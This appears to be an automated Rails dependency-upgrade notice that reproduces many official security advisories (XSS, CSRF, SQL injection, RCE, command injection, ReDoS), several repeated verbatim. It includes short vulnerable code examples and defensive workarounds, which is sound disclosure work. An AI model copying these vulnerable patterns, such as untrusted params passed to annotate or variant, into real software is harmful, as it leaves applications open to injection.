rails-ujs-data-method-contenteditable-main.patch (8.9 KB)

🚨 rails-ujs vulnerable to DOM Based Cross-site Scripting contenteditable HTML Elements

NOTE: rails-ujs is part of Rails/actionview since 5.1.0.

There is a potential DOM based cross-site scripting issue in rails-ujs
which leverages the Clipboard API to target HTML elements that are
assigned the contenteditable attribute. This has the potential to
occur when pasting malicious HTML content from the clipboard that
includes a data-method, data-remote or data-disable-with attribute.

This vulnerability has been assigned the CVE identifier CVE-2023-23913.

Not affected: < 5.1.0
Versions Affected: >= 5.1.0
Fixed Versions: 6.1.7.3, 7.0.4.3

Impact
If the specified malicious HTML clipboard content is provided to a
contenteditable element, this could result in the arbitrary execution
of javascript on the origin in question.

Releases
The FIXED releases are available at the normal locations.

Workarounds
We recommend that all users upgrade to one of the FIXED versions.
In the meantime, users can attempt to mitigate this vulnerability
by removing the contenteditable attribute from elements in pages
that rails-ujs will interact with.

Patches
To aid users who aren’t able to upgrade immediately we have provided
patches for the two supported release series. They are in git-am
format and consist of a single changeset.

rails-ujs-data-method-contenteditable-6-1.patch - Patch for 6.1 series

rails-ujs-data-method-contenteditable-7-0.patch - Patch for 7.0 series

Please note that only the 7.0.Z and 6.1.Z series are
supported at present, and 6.0.Z for severe vulnerabilities.

Users of earlier unsupported releases are advised to upgrade as
soon as possible as we cannot guarantee the continued availability
of security fixes for unsupported releases.

Credits
We would like to thank ryotak 15 for reporting this!

rails-ujs-data-method-contenteditable-6-1.patch (8.5 KB)

rails-ujs-data-method-contenteditable-7-0.patch (8.5 KB)

rails-ujs-data-method-contenteditable-main.patch (8.9 KB)

🚨 XSS Vulnerability in Action View tag helpers

There is a possible XSS vulnerability in Action View tag helpers. Passing untrusted input as hash keys can lead to a possible XSS vulnerability. This vulnerability has been assigned the CVE identifier CVE-2022-27777.

Versions Affected: ALL
Not affected: NONE
Fixed Versions: 7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1

Impact

If untrusted data is passed as the hash key for tag attributes, there is a possibility that the untrusted data may not be properly escaped which can lead to an XSS vulnerability.

Impacted code will look something like this:
check_box_tag('thename', 'thevalue', false, aria: { malicious_input => 'thevalueofaria' })
Where the "malicious_input" variable contains untrusted data.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The FIXED releases are available at the normal locations.

Workarounds

Escape the untrusted data before using it as a key for tag helper methods.

🚨 XSS Vulnerability in Action View tag helpers

There is a possible XSS vulnerability in Action View tag helpers. Passing untrusted input as hash keys can lead to a possible XSS vulnerability. This vulnerability has been assigned the CVE identifier CVE-2022-27777.

Versions Affected: ALL
Not affected: NONE
Fixed Versions: 7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1

Impact

If untrusted data is passed as the hash key for tag attributes, there is a possibility that the untrusted data may not be properly escaped which can lead to an XSS vulnerability.

Impacted code will look something like this:
check_box_tag('thename', 'thevalue', false, aria: { malicious_input => 'thevalueofaria' })
Where the "malicious_input" variable contains untrusted data.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The FIXED releases are available at the normal locations.

Workarounds

Escape the untrusted data before using it as a key for tag helper methods.

🚨 XSS Vulnerability in Action View tag helpers

There is a possible XSS vulnerability in Action View tag helpers. Passing untrusted input as hash keys can lead to a possible XSS vulnerability. This vulnerability has been assigned the CVE identifier CVE-2022-27777.

Versions Affected: ALL
Not affected: NONE
Fixed Versions: 7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1

Impact

If untrusted data is passed as the hash key for tag attributes, there is a possibility that the untrusted data may not be properly escaped which can lead to an XSS vulnerability.

Impacted code will look something like this:
check_box_tag('thename', 'thevalue', false, aria: { malicious_input => 'thevalueofaria' })
Where the "malicious_input" variable contains untrusted data.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The FIXED releases are available at the normal locations.

Workarounds

Escape the untrusted data before using it as a key for tag helper methods.

🚨 XSS Vulnerability in Action View tag helpers

There is a possible XSS vulnerability in Action View tag helpers. Passing untrusted input as hash keys can lead to a possible XSS vulnerability. This vulnerability has been assigned the CVE identifier CVE-2022-27777.

Versions Affected: ALL
Not affected: NONE
Fixed Versions: 7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1

Impact

If untrusted data is passed as the hash key for tag attributes, there is a possibility that the untrusted data may not be properly escaped which can lead to an XSS vulnerability.

Impacted code will look something like this:
check_box_tag('thename', 'thevalue', false, aria: { malicious_input => 'thevalueofaria' })
Where the "malicious_input" variable contains untrusted data.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The FIXED releases are available at the normal locations.

Workarounds

Escape the untrusted data before using it as a key for tag helper methods.

🚨 XSS in Action View

There is a potential Cross-Site Scripting (XSS) vulnerability in Action View's translation helpers. Views that allow the user to control the default (not found) value of the t and translate helpers could be susceptible to XSS attacks.

Impact

When an HTML-unsafe string is passed as the default for a missing translation key named html or ending in _html, the default string is incorrectly marked as HTML-safe and not escaped. Vulnerable code may look like the following examples:
<%# The welcome_html translation is not defined for the current locale: %>
<%= t("welcome_html", default: untrusted_user_controlled_string) %>

<%# Neither the title.html translation nor the missing.html translation is defined for the current locale: %>
<%= t("title.html", default: [:"missing.html", untrusted_user_controlled_string]) %>
Patches

Patched Rails versions, 6.0.3.3 and 5.2.4.4, are available from the normal locations.

The patches have also been applied to the master, 6-0-stable, and 5-2-stable branches on GitHub. If you track any of these branches, you should update to the latest.

To aid users who aren’t able to upgrade immediately, we’ve provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

5-2-translate-helper-xss.patch — patch for the 5.2 release series

6-0-translate-helper-xss.patch — patch for the 6.0 release series

Please note that only the 5.2 and 6.0 release series are currently supported. Users of earlier, unsupported releases are advised to update as soon as possible, as we cannot provide security fixes for unsupported releases.

Workarounds

Impacted users who can’t upgrade to a patched Rails version can avoid this issue by manually escaping default translations with the html_escape helper (aliased as h):
<%= t("welcome_html", default: h(untrusted_user_controlled_string)) %>

🚨 XSS in Action View

There is a potential Cross-Site Scripting (XSS) vulnerability in Action View's translation helpers. Views that allow the user to control the default (not found) value of the t and translate helpers could be susceptible to XSS attacks.

Impact

When an HTML-unsafe string is passed as the default for a missing translation key named html or ending in _html, the default string is incorrectly marked as HTML-safe and not escaped. Vulnerable code may look like the following examples:
<%# The welcome_html translation is not defined for the current locale: %>
<%= t("welcome_html", default: untrusted_user_controlled_string) %>

<%# Neither the title.html translation nor the missing.html translation is defined for the current locale: %>
<%= t("title.html", default: [:"missing.html", untrusted_user_controlled_string]) %>
Patches

Patched Rails versions, 6.0.3.3 and 5.2.4.4, are available from the normal locations.

The patches have also been applied to the master, 6-0-stable, and 5-2-stable branches on GitHub. If you track any of these branches, you should update to the latest.

To aid users who aren’t able to upgrade immediately, we’ve provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

5-2-translate-helper-xss.patch — patch for the 5.2 release series

6-0-translate-helper-xss.patch — patch for the 6.0 release series

Please note that only the 5.2 and 6.0 release series are currently supported. Users of earlier, unsupported releases are advised to update as soon as possible, as we cannot provide security fixes for unsupported releases.

Workarounds

Impacted users who can’t upgrade to a patched Rails version can avoid this issue by manually escaping default translations with the html_escape helper (aliased as h):
<%= t("welcome_html", default: h(untrusted_user_controlled_string)) %>

🚨 CSRF Vulnerability in rails-ujs

There is a vulnerability in rails-ujs that allows attackers to send CSRF tokens to wrong domains.

Versions Affected: rails <= 6.0.3
Not affected: Applications which don't use rails-ujs.
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1

Impact

This is a regression of CVE-2015-1840.

In the scenario where an attacker might be able to control the href attribute of an anchor tag or the action attribute of a form tag that will trigger a POST action, the attacker can set the href or action to a cross-origin URL, and the CSRF token will be sent.

Workarounds

To work around this problem, change code that allows users to control the href attribute of an anchor tag or the action attribute of a form tag to filter the user parameters.

For example, code like this:
link_to params
to code like this:
link_to filtered_params

def filtered_params
  # Filter just the parameters that you trust
end

🚨 CSRF Vulnerability in rails-ujs

There is a vulnerability in rails-ujs that allows attackers to send CSRF tokens to wrong domains.

Versions Affected: rails <= 6.0.3
Not affected: Applications which don't use rails-ujs.
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1

Impact

This is a regression of CVE-2015-1840.

In the scenario where an attacker might be able to control the href attribute of an anchor tag or the action attribute of a form tag that will trigger a POST action, the attacker can set the href or action to a cross-origin URL, and the CSRF token will be sent.

Workarounds

To work around this problem, change code that allows users to control the href attribute of an anchor tag or the action attribute of a form tag to filter the user parameters.

For example, code like this:
link_to params
to code like this:
link_to filtered_params

def filtered_params
  # Filter just the parameters that you trust
end

🚨 Cross site scripting vulnerability in ActionView

There is a possible cross site scripting (XSS) vulnerability in ActionView's JavaScript literal escape helpers. Views that use the j or escape_javascript methods may be susceptible to XSS attacks.

Impact

There is a possible XSS vulnerability in the j and escape_javascript methods in ActionView. These methods are used for escaping JavaScript string literals. Impacted code will look something like this:
<script>let a = `<%= j unknown_input %>`</script>
or
<script>let a = `<%= escape_javascript unknown_input %>`</script>
Releases

The 6.0.2.2 and 5.2.4.2 releases are available at the normal locations.

Workarounds

For those that can't upgrade, the following monkey patch may be used:
ActionView::Helpers::JavaScriptHelper::JS_ESCAPE_MAP.merge!(
  {
    "`" => "\\`",
    "$" => "\\$"
  }
)

module ActionView::Helpers::JavaScriptHelper
  alias :old_ej :escape_javascript
  alias :old_j :j

  def escape_javascript(javascript)
    javascript = javascript.to_s
    if javascript.empty?
      result = ""
    else
      result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"']|[`]|[$])/u, JS_ESCAPE_MAP)
    end
    javascript.html_safe? ? result.html_safe : result
  end

  alias :j :escape_javascript
end
Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

5-2-js-helper-xss.patch - Patch for 5.2 series

6-0-js-helper-xss.patch - Patch for 6.0 series

Please note that only the 5.2 and 6.0 series are supported at present. Users
of earlier unsupported releases are advised to upgrade as soon as possible as we
cannot guarantee the continued availability of security fixes for unsupported
releases.

Credits

Thanks to Jesse Campos from Chef Secure

🚨 Denial of Service Vulnerability in Action View

Denial of Service Vulnerability in Action View

Impact

Specially crafted accept headers can cause the Action View template location code to consume 100% CPU, causing the server unable to process requests. This impacts all Rails applications that render views.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, and 4.2.11.1 releases are available at the normal locations.

Workarounds

This vulnerability can be mitigated by wrapping render calls with respond_to blocks. For example, the following example is vulnerable:
class UserController < ApplicationController 
  def index 
    render "index" 
  end 
end 
But the following code is not vulnerable:
class UserController < ApplicationController 
  def index 
    respond_to |format| 
      format.html { render "index" } 
    end 
  end 
end 
Implicit rendering is impacted, so this code is vulnerable:
class UserController < ApplicationController 
  def index 
  end 
end 
But can be changed this this:
class UserController < ApplicationController 
  def index 
    respond_to |format| 
      format.html { render "index" } 
    end 
  end 
end 
Alternatively to specifying the format, the following monkey patch can be applied in an initializer:
$ cat config/initializers/formats_filter.rb 
# frozen_string_literal: true 

ActionDispatch::Request.prepend(Module.new do 
  def formats 
    super().select do |format| 
      format.symbol || format.ref == "*/*" 
    end 
  end 
end) 
Please note that only the 5.2.x, 5.1.x, 5.0.x, and 4.2.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Also note that the patches for this vulnerability are the same as CVE-2019-5418.

Credits

Thanks to John Hawthorn john@hawthorn.email of GitHub

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 55 commits:

↗️ activejob (indirect, 5.2.4.2 → 8.0.3) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 55 commits:

↗️ activemodel (indirect, 5.2.4.2 → 8.0.3) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 55 commits:

↗️ activerecord (indirect, 5.2.4.2 → 8.0.3) · Repo · Changelog

Security Advisories 🚨

🚨 Active Record logging vulnerable to ANSI escape injection

This vulnerability has been assigned the CVE identifier CVE-2025-55193

Impact

The ID passed to find or similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.

Releases

The fixed releases are available at the normal locations.

Credits

Thanks to lio346 from Unit 515 of OPSWAT for reporting this vulnerability

🚨 Active Record logging vulnerable to ANSI escape injection

This vulnerability has been assigned the CVE identifier CVE-2025-55193

Impact

The ID passed to find or similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.

Releases

The fixed releases are available at the normal locations.

Credits

Thanks to lio346 from Unit 515 of OPSWAT for reporting this vulnerability

🚨 Active Record logging vulnerable to ANSI escape injection

This vulnerability has been assigned the CVE identifier CVE-2025-55193

Impact

The ID passed to find or similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.

Releases

The fixed releases are available at the normal locations.

Credits

Thanks to lio346 from Unit 515 of OPSWAT for reporting this vulnerability

🚨 Denial of Service Vulnerability in ActiveRecord's PostgreSQL adapter

There is a potential denial of service vulnerability present in ActiveRecord’s PostgreSQL adapter.

This has been assigned the CVE identifier CVE-2022-44566.

Versions Affected: All. Not affected: None. Fixed Versions: 5.2.8.15 (Rails LTS, which is a paid service and not part of the rubygem), 6.1.7.1, 7.0.4.1

Impact:
In ActiveRecord <7.0.4.1 and <6.1.7.1, when a value outside the range for a 64bit signed integer is provided to the PostgreSQL connection adapter, it will treat the target column type as numeric. Comparing integer values against numeric values can result in a slow sequential scan resulting in potential Denial of Service.
Releases

The fixed releases are available at the normal locations.
Workarounds

Ensure that user supplied input which is provided to ActiveRecord clauses do not contain integers wider than a signed 64bit representation or floats.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the supported release series in accordance with our maintenance policy 1 regarding security issues. They are in git-am format and consist of a single changeset.
6-1-Added-integer-width-check-to-PostgreSQL-Quoting.patch - Patch for 6.1 series
7-0-Added-integer-width-check-to-PostgreSQL-Quoting.patch - Patch for 7.0 series

🚨 Denial of Service Vulnerability in ActiveRecord's PostgreSQL adapter

There is a potential denial of service vulnerability present in ActiveRecord’s PostgreSQL adapter.

This has been assigned the CVE identifier CVE-2022-44566.

Versions Affected: All. Not affected: None. Fixed Versions: 5.2.8.15 (Rails LTS, which is a paid service and not part of the rubygem), 6.1.7.1, 7.0.4.1

Impact:
In ActiveRecord <7.0.4.1 and <6.1.7.1, when a value outside the range for a 64bit signed integer is provided to the PostgreSQL connection adapter, it will treat the target column type as numeric. Comparing integer values against numeric values can result in a slow sequential scan resulting in potential Denial of Service.
Releases

The fixed releases are available at the normal locations.
Workarounds

Ensure that user supplied input which is provided to ActiveRecord clauses do not contain integers wider than a signed 64bit representation or floats.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the supported release series in accordance with our maintenance policy 1 regarding security issues. They are in git-am format and consist of a single changeset.
6-1-Added-integer-width-check-to-PostgreSQL-Quoting.patch - Patch for 6.1 series
7-0-Added-integer-width-check-to-PostgreSQL-Quoting.patch - Patch for 7.0 series

🚨 SQL Injection Vulnerability via ActiveRecord comments

There is a possible vulnerability in ActiveRecord related to the sanitization of comments. This vulnerability has been assigned the CVE identifier CVE-2023-22794.

Versions Affected: >= 6.0.0 Not affected: < 6.0.0 Fixed Versions: 6.0.6.1, 6.1.7.1, 7.0.4.1
Impact

Previously the implementation of escaping for comments was insufficient for

If malicious user input is passed to either the annotate query method, the optimizer_hints query method, or through the QueryLogs interface which automatically adds annotations, it may be sent to the database with insufficient sanitization and be able to inject SQL outside of the comment.

In most cases these interfaces won’t be used with user input and users should avoid doing so.

Example vulnerable code:
Post.where(id: 1).annotate("#{params[:user_input]}")

Post.where(id: 1).optimizer_hints("#{params[:user_input]}")
Example vulnerable QueryLogs configuration (the default configuration is not vulnerable):
config.active_record.query_log_tags = [
  {
    something: -> { <some value including user input> }
  }
]
All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

Avoid passing user input to annotate and avoid using QueryLogs configuration which can include user input.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-0-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 6.0 series
6-1-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 6.1 series
7-0-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 7.0 series
Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 SQL Injection Vulnerability via ActiveRecord comments

There is a possible vulnerability in ActiveRecord related to the sanitization of comments. This vulnerability has been assigned the CVE identifier CVE-2023-22794.

Versions Affected: >= 6.0.0 Not affected: < 6.0.0 Fixed Versions: 6.0.6.1, 6.1.7.1, 7.0.4.1
Impact

Previously the implementation of escaping for comments was insufficient for

If malicious user input is passed to either the annotate query method, the optimizer_hints query method, or through the QueryLogs interface which automatically adds annotations, it may be sent to the database with insufficient sanitization and be able to inject SQL outside of the comment.

In most cases these interfaces won’t be used with user input and users should avoid doing so.

Example vulnerable code:
Post.where(id: 1).annotate("#{params[:user_input]}")

Post.where(id: 1).optimizer_hints("#{params[:user_input]}")
Example vulnerable QueryLogs configuration (the default configuration is not vulnerable):
config.active_record.query_log_tags = [
  {
    something: -> { <some value including user input> }
  }
]
All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

Avoid passing user input to annotate and avoid using QueryLogs configuration which can include user input.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-0-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 6.0 series
6-1-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 6.1 series
7-0-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 7.0 series
Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 SQL Injection Vulnerability via ActiveRecord comments

There is a possible vulnerability in ActiveRecord related to the sanitization of comments. This vulnerability has been assigned the CVE identifier CVE-2023-22794.

Versions Affected: >= 6.0.0 Not affected: < 6.0.0 Fixed Versions: 6.0.6.1, 6.1.7.1, 7.0.4.1
Impact

Previously the implementation of escaping for comments was insufficient for

If malicious user input is passed to either the annotate query method, the optimizer_hints query method, or through the QueryLogs interface which automatically adds annotations, it may be sent to the database with insufficient sanitization and be able to inject SQL outside of the comment.

In most cases these interfaces won’t be used with user input and users should avoid doing so.

Example vulnerable code:
Post.where(id: 1).annotate("#{params[:user_input]}")

Post.where(id: 1).optimizer_hints("#{params[:user_input]}")
Example vulnerable QueryLogs configuration (the default configuration is not vulnerable):
config.active_record.query_log_tags = [
  {
    something: -> { <some value including user input> }
  }
]
All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

Avoid passing user input to annotate and avoid using QueryLogs configuration which can include user input.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-0-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 6.0 series
6-1-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 6.1 series
7-0-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 7.0 series
Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 Active Record RCE bug with Serialized Columns

When serialized columns that use YAML (the default) are deserialized, Rails uses YAML.unsafe_load to convert the YAML data in to Ruby objects. If an attacker can manipulate data in the database (via means like SQL injection), then it may be possible for the attacker to escalate to an RCE.

There are no feasible workarounds for this issue, but other coders (such as JSON) are not impacted.

🚨 Active Record RCE bug with Serialized Columns

When serialized columns that use YAML (the default) are deserialized, Rails uses YAML.unsafe_load to convert the YAML data in to Ruby objects. If an attacker can manipulate data in the database (via means like SQL injection), then it may be possible for the attacker to escalate to an RCE.

There are no feasible workarounds for this issue, but other coders (such as JSON) are not impacted.

🚨 Active Record RCE bug with Serialized Columns

When serialized columns that use YAML (the default) are deserialized, Rails uses YAML.unsafe_load to convert the YAML data in to Ruby objects. If an attacker can manipulate data in the database (via means like SQL injection), then it may be possible for the attacker to escalate to an RCE.

There are no feasible workarounds for this issue, but other coders (such as JSON) are not impacted.

🚨 Active Record RCE bug with Serialized Columns

When serialized columns that use YAML (the default) are deserialized, Rails uses YAML.unsafe_load to convert the YAML data in to Ruby objects. If an attacker can manipulate data in the database (via means like SQL injection), then it may be possible for the attacker to escalate to an RCE.

There are no feasible workarounds for this issue, but other coders (such as JSON) are not impacted.

🚨 Active Record subject to Regular Expression Denial-of-Service (ReDoS)

The PostgreSQL adapter in Active Record before 6.1.2.1, 6.0.3.5, 5.2.4.5 suffers from a regular expression denial of service (REDoS) vulnerability. Carefully crafted input can cause the input validation in the money type of the PostgreSQL adapter in Active Record to spend too much time in a regular expression, resulting in the potential for a DoS attack. This only impacts Rails applications that are using PostgreSQL along with money type columns that take user input.

🚨 Active Record subject to Regular Expression Denial-of-Service (ReDoS)

The PostgreSQL adapter in Active Record before 6.1.2.1, 6.0.3.5, 5.2.4.5 suffers from a regular expression denial of service (REDoS) vulnerability. Carefully crafted input can cause the input validation in the money type of the PostgreSQL adapter in Active Record to spend too much time in a regular expression, resulting in the potential for a DoS attack. This only impacts Rails applications that are using PostgreSQL along with money type columns that take user input.

🚨 Active Record subject to Regular Expression Denial-of-Service (ReDoS)

The PostgreSQL adapter in Active Record before 6.1.2.1, 6.0.3.5, 5.2.4.5 suffers from a regular expression denial of service (REDoS) vulnerability. Carefully crafted input can cause the input validation in the money type of the PostgreSQL adapter in Active Record to spend too much time in a regular expression, resulting in the potential for a DoS attack. This only impacts Rails applications that are using PostgreSQL along with money type columns that take user input.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 55 commits:

↗️ activestorage (indirect, 5.2.4.2 → 8.0.3) · Repo · Changelog

Security Advisories 🚨

🚨 Active Storage allowed transformation methods that were potentially unsafe

Active Storage attempts to prevent the use of potentially unsafe image transformation methods and parameters by default.

The default allowed list contains three methods allowing for the circumvention of the safe defaults which enables potential command injection vulnerabilities in cases where arbitrary user supplied input is accepted as valid transformation methods or parameters.

This has been assigned the CVE identifier CVE-2025-24293.

Versions Affected: >= 5.2.0
Not affected: < 5.2.0
Fixed Versions: 7.1.5.2, 7.2.2.2, 8.0.2.1

Impact

This vulnerability impacts applications that use Active Storage with the image_processing processing gem in addition to mini_magick as the image processor.

Vulnerable code will look something similar to this:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
Where the transformation method or its arguments are untrusted arbitrary input.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

Consuming user supplied input for image transformation methods or their parameters is unsupported behavior and should be considered dangerous.

Strict validation of user supplied methods and parameters should be performed as well as having a strong ImageMagick security policy deployed.

Credits

Thank you lio346 from Unit 515 of OPSWAT for reporting this!

🚨 Active Storage allowed transformation methods that were potentially unsafe

Active Storage attempts to prevent the use of potentially unsafe image transformation methods and parameters by default.

The default allowed list contains three methods allowing for the circumvention of the safe defaults which enables potential command injection vulnerabilities in cases where arbitrary user supplied input is accepted as valid transformation methods or parameters.

This has been assigned the CVE identifier CVE-2025-24293.

Versions Affected: >= 5.2.0
Not affected: < 5.2.0
Fixed Versions: 7.1.5.2, 7.2.2.2, 8.0.2.1

Impact

This vulnerability impacts applications that use Active Storage with the image_processing processing gem in addition to mini_magick as the image processor.

Vulnerable code will look something similar to this:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
Where the transformation method or its arguments are untrusted arbitrary input.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

Consuming user supplied input for image transformation methods or their parameters is unsupported behavior and should be considered dangerous.

Strict validation of user supplied methods and parameters should be performed as well as having a strong ImageMagick security policy deployed.

Credits

Thank you lio346 from Unit 515 of OPSWAT for reporting this!

🚨 Active Storage allowed transformation methods that were potentially unsafe

Active Storage attempts to prevent the use of potentially unsafe image transformation methods and parameters by default.

The default allowed list contains three methods allowing for the circumvention of the safe defaults which enables potential command injection vulnerabilities in cases where arbitrary user supplied input is accepted as valid transformation methods or parameters.

This has been assigned the CVE identifier CVE-2025-24293.

Versions Affected: >= 5.2.0
Not affected: < 5.2.0
Fixed Versions: 7.1.5.2, 7.2.2.2, 8.0.2.1

Impact

This vulnerability impacts applications that use Active Storage with the image_processing processing gem in addition to mini_magick as the image processor.

Vulnerable code will look something similar to this:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
Where the transformation method or its arguments are untrusted arbitrary input.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

Consuming user supplied input for image transformation methods or their parameters is unsupported behavior and should be considered dangerous.

Strict validation of user supplied methods and parameters should be performed as well as having a strong ImageMagick security policy deployed.

Credits

Thank you lio346 from Unit 515 of OPSWAT for reporting this!

🚨 Rails has possible Sensitive Session Information Leak in Active Storage

Possible Sensitive Session Information Leak in Active Storage

There is a possible sensitive session information leak in Active Storage. By
default, Active Storage sends a Set-Cookie header along with the user's
session cookie when serving blobs. It also sets Cache-Control to public.
Certain proxies may cache the Set-Cookie, leading to an information leak.

This vulnerability has been assigned the CVE identifier CVE-2024-26144.

Versions Affected: >= 5.2.0, < 7.1.0
Not affected: < 5.2.0, > 7.1.0
Fixed Versions: 7.0.8.1, 6.1.7.7

Impact

A proxy which chooses to caches this request can cause users to share
sessions. This may include a user receiving an attacker's session or vice
versa.

This was patched in 7.1.0 but not previously identified as a security
vulnerability.

All users running an affected release should either upgrade or use one of the
workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

Upgrade to Rails 7.1.X, or configure caching proxies not to cache the
Set-Cookie headers.

Credits

Thanks to tyage for reporting this!

🚨 Rails has possible Sensitive Session Information Leak in Active Storage

Possible Sensitive Session Information Leak in Active Storage

There is a possible sensitive session information leak in Active Storage. By
default, Active Storage sends a Set-Cookie header along with the user's
session cookie when serving blobs. It also sets Cache-Control to public.
Certain proxies may cache the Set-Cookie, leading to an information leak.

This vulnerability has been assigned the CVE identifier CVE-2024-26144.

Versions Affected: >= 5.2.0, < 7.1.0
Not affected: < 5.2.0, > 7.1.0
Fixed Versions: 7.0.8.1, 6.1.7.7

Impact

A proxy which chooses to caches this request can cause users to share
sessions. This may include a user receiving an attacker's session or vice
versa.

This was patched in 7.1.0 but not previously identified as a security
vulnerability.

All users running an affected release should either upgrade or use one of the
workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

Upgrade to Rails 7.1.X, or configure caching proxies not to cache the
Set-Cookie headers.

Credits

Thanks to tyage for reporting this!

🚨 Possible code injection vulnerability in Rails / Active Storage

The Active Storage module of Rails starting with version 5.2.0 is possibly vulnerable to code injection. This issue was patched in versions 5.2.6.3, 6.0.4.7, 6.1.4.7, and 7.0.2.3. To work around this issue, applications should implement a strict allow-list on accepted transformation methods or arguments. Additionally, a strict ImageMagick security policy will help mitigate this issue.

🚨 Possible code injection vulnerability in Rails / Active Storage

The Active Storage module of Rails starting with version 5.2.0 is possibly vulnerable to code injection. This issue was patched in versions 5.2.6.3, 6.0.4.7, 6.1.4.7, and 7.0.2.3. To work around this issue, applications should implement a strict allow-list on accepted transformation methods or arguments. Additionally, a strict ImageMagick security policy will help mitigate this issue.

🚨 Possible code injection vulnerability in Rails / Active Storage

The Active Storage module of Rails starting with version 5.2.0 is possibly vulnerable to code injection. This issue was patched in versions 5.2.6.3, 6.0.4.7, 6.1.4.7, and 7.0.2.3. To work around this issue, applications should implement a strict allow-list on accepted transformation methods or arguments. Additionally, a strict ImageMagick security policy will help mitigate this issue.

🚨 Possible code injection vulnerability in Rails / Active Storage

The Active Storage module of Rails starting with version 5.2.0 is possibly vulnerable to code injection. This issue was patched in versions 5.2.6.3, 6.0.4.7, 6.1.4.7, and 7.0.2.3. To work around this issue, applications should implement a strict allow-list on accepted transformation methods or arguments. Additionally, a strict ImageMagick security policy will help mitigate this issue.

🚨 Circumvention of file size limits in ActiveStorage

There is a vulnerability in ActiveStorage's S3 adapter that allows the Content-Length of a direct file upload to be modified by an end user.

Versions Affected: rails < 5.2.4.2, rails < 6.0.3.1
Not affected: Applications that do not use the direct upload functionality of the ActiveStorage S3 adapter.
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1

Impact

Utilizing this vulnerability, an attacker can control the Content-Length of an S3 direct upload URL without receiving a new signature from the server. This could be used to bypass controls in place on the server to limit upload size.

Workarounds

This is a low-severity security issue. As such, no workaround is necessarily until such time as the application can be upgraded.

🚨 Circumvention of file size limits in ActiveStorage

There is a vulnerability in ActiveStorage's S3 adapter that allows the Content-Length of a direct file upload to be modified by an end user.

Versions Affected: rails < 5.2.4.2, rails < 6.0.3.1
Not affected: Applications that do not use the direct upload functionality of the ActiveStorage S3 adapter.
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1

Impact

Utilizing this vulnerability, an attacker can control the Content-Length of an S3 direct upload URL without receiving a new signature from the server. This could be used to bypass controls in place on the server to limit upload size.

Workarounds

This is a low-severity security issue. As such, no workaround is necessarily until such time as the application can be upgraded.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 55 commits:

